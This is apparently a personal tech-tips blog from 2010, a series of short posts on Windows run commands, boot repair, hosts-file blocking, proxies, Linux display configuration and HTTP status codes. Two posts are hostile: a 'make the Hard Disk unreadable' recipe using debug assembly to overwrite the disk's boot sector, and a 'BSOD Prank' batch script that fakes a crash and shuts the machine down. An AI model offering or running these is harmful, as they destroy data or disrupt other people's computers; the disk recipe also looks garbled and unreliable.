Wednesday, September 15, 2010

ways to diasble rm in fedora


[jerome@localhost ~]$ vi /home/jerome/.bashrc
# .bashrc

# Source global definitions
if [ -f /etc/bashrc ]; then
. /etc/bashrc
fi


# User specific aliases and functions
alias rm='echo command disabled for file '

Tuesday, September 14, 2010

Fix Windows 7 boot loader

boot your system with Windows 7 DVD
when you get to the second screen (after you choose your language) go to repair your computer.
go to command prompt and type this in without the quotes (") :
"bootrec /fixmbr"
press enter.
Type this in without the quotes (") :
"bootrec /FixBoot"
press enter.
Restart.

Thursday, August 12, 2010

proxy

Proxify http://proxify.com/
Anonymouse http://anonymouse.org/anonwww.html
IPHide http://iphide.com/

heres a list of free web-based proxy servers

http://www.prospector.cz/Free-Intern...ces/Web-proxy/

windows tips

use onscreen keyboard
start > run > osk
----- ----- ----- ----- ----- ----- -----
windows version
start > run > winver
----- ----- ----- ----- ----- ----- -----
windows host file
C:\WINDOWS\SYSTEM32\DRIVERS\ETC

127.0.0.1 myspace.com
----- ----- ----- ----- ----- ----- -----
network connections
start >run > ncpa.cpl
appwiz.cpl -- Used to run Add/Remove wizard
Calc --Calculator
Cfgwiz32 --ISDN Configuration Wizard
Charmap --Character Map
Chkdisk --Repair damaged files
Cleanmgr --Cleans up hard drives
Clipbrd --Windows Clipboard viewer
Control --Displays Control Panel
Cmd --Opens a new Command Window
Control mouse --Used to control mouse properties
Dcomcnfg --DCOM user security
Debug --Assembly language programming tool
Defrag --Defragmentation tool
Drwatson --Records programs crash & snapshots
Dxdiag --DirectX Diagnostic Utility
Explorer --Windows Explorer
Fontview --Graphical font viewer
Fsmgmt.msc -- Used to open shared folders
Firewall.cpl -- Used to configure windows firewall
Ftp -ftp.exe program
Hostname --Returns Computer's name
Hdwwiz.cpl -- Used to run Add Hardware wizard
Ipconfig --Displays IP configuration for all network adapters
Logoff -- Used to logoff the computer
MMC --Microsoft Management Console
Msconfig --Configuration to edit startup files
Mstsc -- Used to access remote desktop
Mrc -- Malicious Software Removal Tool
Msinfo32 --Microsoft System Information Utility
Nbtstat --Displays stats and current connections using NetBIOS over TCP/IP
Netstat --Displays all active network connections
Nslookup--Returns your local DNS server
Osk ---Used to access on screen keyboard
Perfmon.msc -- Used to configure the performance of Monitor.
Ping --Sends data to a specified host/IP
Powercfg.cpl -- Used to configure power option
Regedit --Registry Editor
Regwiz -- Registration wizard
Sfc /scannow -- System File Checker
Sndrec32 --Sound Recorder
Shutdown -- Used to shutdown the windows
Spider -- Used to open spider solitaire card game
Sfc / scannow -- Used to run system file checker utility.
Sndvol32 --Volume control for soundcard
Sysedit -- Edit system startup files
Taskmgr --Task manager
Telephon.cpl -- Used to configure modem options.
Telnet --Telnet program
Tracert --Traces and displays all paths required to reach an internet host
Winchat -- Used to chat with Microsoft
Wmplayer -- Used to run Windows Media player
Wab -- Used to open Windows address Book.
WinWord -- Used to open Microsoft word
Winipcfg --Displays IP configuration
Winver -- Used to check Windows Version
Wupdmgr --Takes you to Microsoft Windows Update
Write -- Used to open WordPad

Monday, July 19, 2010

RedHat Enterprise on Virtual PC Graphics Problem

there is a distorted graphics problem if you are Red Hat Enterprise 5 Edition on Microsoft Virtual PC 2007 running on Windows 7(I am using the Professional Edition)

you need to modify the X Server configuration file and change the default display depth to 16 bits

most Linux distributions support 24 bit colour,
which MVPC doesn't support(only 16 bit colours)

ALT + F2
type
gnome-terminal ans press RUN
[root@localhost ~]#ls -ltr /etc/X11/xorg.conf
[root@localhost ~]#vi /etc/X11/xorg.conf

change the following..

Section "Screen"
Identifier "Screen0"
Device "Videocard0"
DefaultDepth 16
SubSection "Display"
Viewport 0 0
Depth 16
EndSubSection
EndSection

Monday, July 12, 2010

online audio editing

I came across an online audio editing tool.. basically I hate installing softwares on my computers..
just check out it.. enjoy :~)

http://aviary.com/tools/audio-editor

Saturday, July 10, 2010

To block websites...

To block websites from accessing at your computer, just follow below steps:

1. Browse to C:\Windows\System32\drivers\etc.

2. Look for a file named as hosts, then open it with Notepad.

3. At the bottom of the file, add the line as shown below:

127.0.0.1 www.facebook.com

www.facebook.com is an example of website URL which you would like to block, just replace it with the actual URL so that they are unaccessible to all.

4. If you have more websites that would like to be blocked, just press Enter and repeat step 3 to add additional URL until all desired websites are added.

5. At the last line of the URL that you have entered, add an extra carriage return by pressing Enter.

6. Save and close the file.

To block websites from accessing at your computer, just follow below steps:
1. Browse to C:\Windows\System32\drivers\etc.
2. Look for a file named as hosts, then open it with Notepad.
3. At the bottom of the file, add the line as shown below:
127.0.0.1 www.facebook.com
www.facebook.com is an example of website URL which you would like to block, just replace it with the actual URL so that they are unaccessible to all.
4. If you have more websites that would like to be blocked, just press Enter and repeat step 3 to add additional URL until all desired websites are added.
5. At the last line of the URL that you have entered, add an extra carriage return by pressing Enter.
6. Save and close the file.

Monday, July 5, 2010

make the Hard Disk unreadable in 30 sec

Warning do this at your own risk..
  1. Click Start.
  2. In the Search field, type CMD and press Enter.
  3. In the Command Prompt type the following codes:
  1. Type debug.
  2. Type: A and hit Enter.
  3. Now type the following codes (do not forget to hit Enter at the end of each code):
  4. MOV AX, 0301
  5. MOV BX, 0020
  6. MOV DX, 0080
  7. INT13
  8. Hit Enter once again.
  9. Type G and hit Enter.
  10. Done!

Godmode in Window 7

i recently came across a video in youtube of window 7 tricks...


to access all control panel features create a new folder and attach the following string at the end
.{ED7BA470-8E54-465E-825C-99712043E01C}

C:\>mkdir jerome
C:\>ren jerome jerome.{ED7BA470-8E54-465E-825C-99712043E01C}

Wednesday, February 3, 2010

BSOD Prank

REF: http://www.instructables.com/id/CMD_Tricks_101/step5/BSODBlue-Screen-Of-Death/


REM *******************************************************

@echo off
cd /
cls
color 17
echo A problem has been detected and Windows has been shut down to prevent damage
echo to your computer.
echo.
echo The problem seems to be caused by the following file: SPCMDCON.SYS
echo.
echo PAGE_FAULT_IN_NONPAGED_AREA
echo.
echo If this is the first time you've seen this stop error screen,
echo restart your computer. If this screen appears again, follow
echo these steps:
echo.
echo Check to make sure any new hardware or software is properly installed.
echo If this is a new installation, ask your hardware or software manufacturer
echo for any Windows updates you might need.
echo.
echo If problems continue, disable or remove any newly installed hardware
echo or software. Disable BIOS memory options such as caching or shadowing.
echo If you need to use Safe Mode to remove or disable components, restart
echo your computer, press F8 to select Advanced Startup Options, and then
echo select Safe Mode.
echo.
echo Technical information:
echo.
echo *** STOP: 0x00000050 (0xFD3094C2,0x00000001,0xFBFE7617,0x00000000)
echo.
echo.
echo *** SPCMDCON.SYS - Address FBFE7617 base at FBFE5000, DateStamp 3d6dd67c
pause >nul
cls
echo Downloading viruses . . .
ping localhost -n 5 >nul
dir /s
pause >nul
shutdown -s -t 120 -c "Your computer has committed suicide, have a nice day."

REM *******************************************************

Thursday, January 28, 2010

Windows command prompt - cmd.exe

The situation:

I use the command prompt in Windows and was wanting to save my history. After searching the internet I never did find a way to save my history between sessions, but I came across some hints and tips that were useful. So I am posting any tips I already knew along with those I came across. Links to sites that I gathered info from are at the bottom of the post.

Here are the settings I change for the command prompt. What's nice is that the changes will be remembered once you have set them if you want them to. You get at these settings by right clicking on the title bar and choosing "Properties"
======================================
Options > Cursor Size > Small
Options > Command History > Buffer Size > 100
Options > Command History > Number of Buffers > 4
Options > Command History > Discard Old Duplicates > Checked
Options > Display Options > Window
Options > Edit Options > Quick Edit Mode > Checked
Options > Edit Options > Insert Mode
Font > Size > 8x12
Font > Font > Raster Fonts
Layout > Screen Buffer Size > Width > 128
Layout > Screen Buffer Size > Height > 512
Layout > Window Size > Width > 128
Layout > Window Size > Height > 64
Layout > Window Position > Let system position window > Checked
Colors > Screen Text > 255,255,255
Colors > Screen Background > 0,0,0
Colors > Popup Text > 0,0,255
Colors > Popup Background > 255,255,255

Hints and tips
============================================
  1. "Up Arrow" key will take you back through the command history
  2. "Down Arrow" key will take you forward in the command history
  3. The "Tab" key will auto-fill a directory or file name for you
  4. Put quotes around paths with spaces in them
  5. Left-click and drag to highlight text and then right-click to copy
  6. Right-click to paste copied text

Function keys
============================================
ESC - Clear the command line
F1 - Enters the last command one character at a time
F2 - PopUp "Enter char to copy up to:"
F3 - Re-types the last command in history
F4 - PopUp "Enter char to delete up to:"
F5 - Moves back in history one line at a time. (Remembers where it's been)
F6 - Types "^Z" to the command line
F7 - PopUp of command history in a numbered list
F8 - Moves back in history one line at a time. (Loops back to beginning)
F9 - PopUp "Enter command number:"
F10 -
F11 -
F12

IP addresses work, Domain names don't

Windows Error: IPs work, Domain names don't

res://C:\WINDOWS\SYSTEM\SHDOCLC.dll/dnserror.htm

Click "Start"
Click "Run"
Type into the run box "regsvr32.exe /i shdocvw.dll"

You should see a dialog box that says: "Registerserver and dllinstall in shdocvw succeeded".

Press OK then reboot the system.

Wednesday, January 6, 2010

Server Error Codes

Successful Client Requests
200 OK
201 Created
202 Accepted
203 Non-Authorative Information
204 No Content
205 Reset Content
206 Partial Content

Client Request Redirected
300 Multiple Choices
301 Moved Permanently
302 Moved Temporarily
303 See Other
304 Not Modified
305 Use Proxy

Client Request Errors
400 Bad Request
401 Authorization Required
402 Payment Required (not used yet)
403 Forbidden
404 Not Found
405 Method Not Allowed
406 Not Acceptable (encoding)
407 Proxy Authentication Required
408 Request Timed Out
409 Conflicting Request
410 Gone
411 Content Length Required
412 Precondition Failed
413 Request Entity Too Long
414 Request URI Too Long
415 Unsupported Media Type

Server Errors
500 Internal Server Error
501 Not Implemented
502 Bad Gateway
503 Service Unavailable
504 Gateway Timeout
505 HTTP Version Not Supported

About

Blogger templates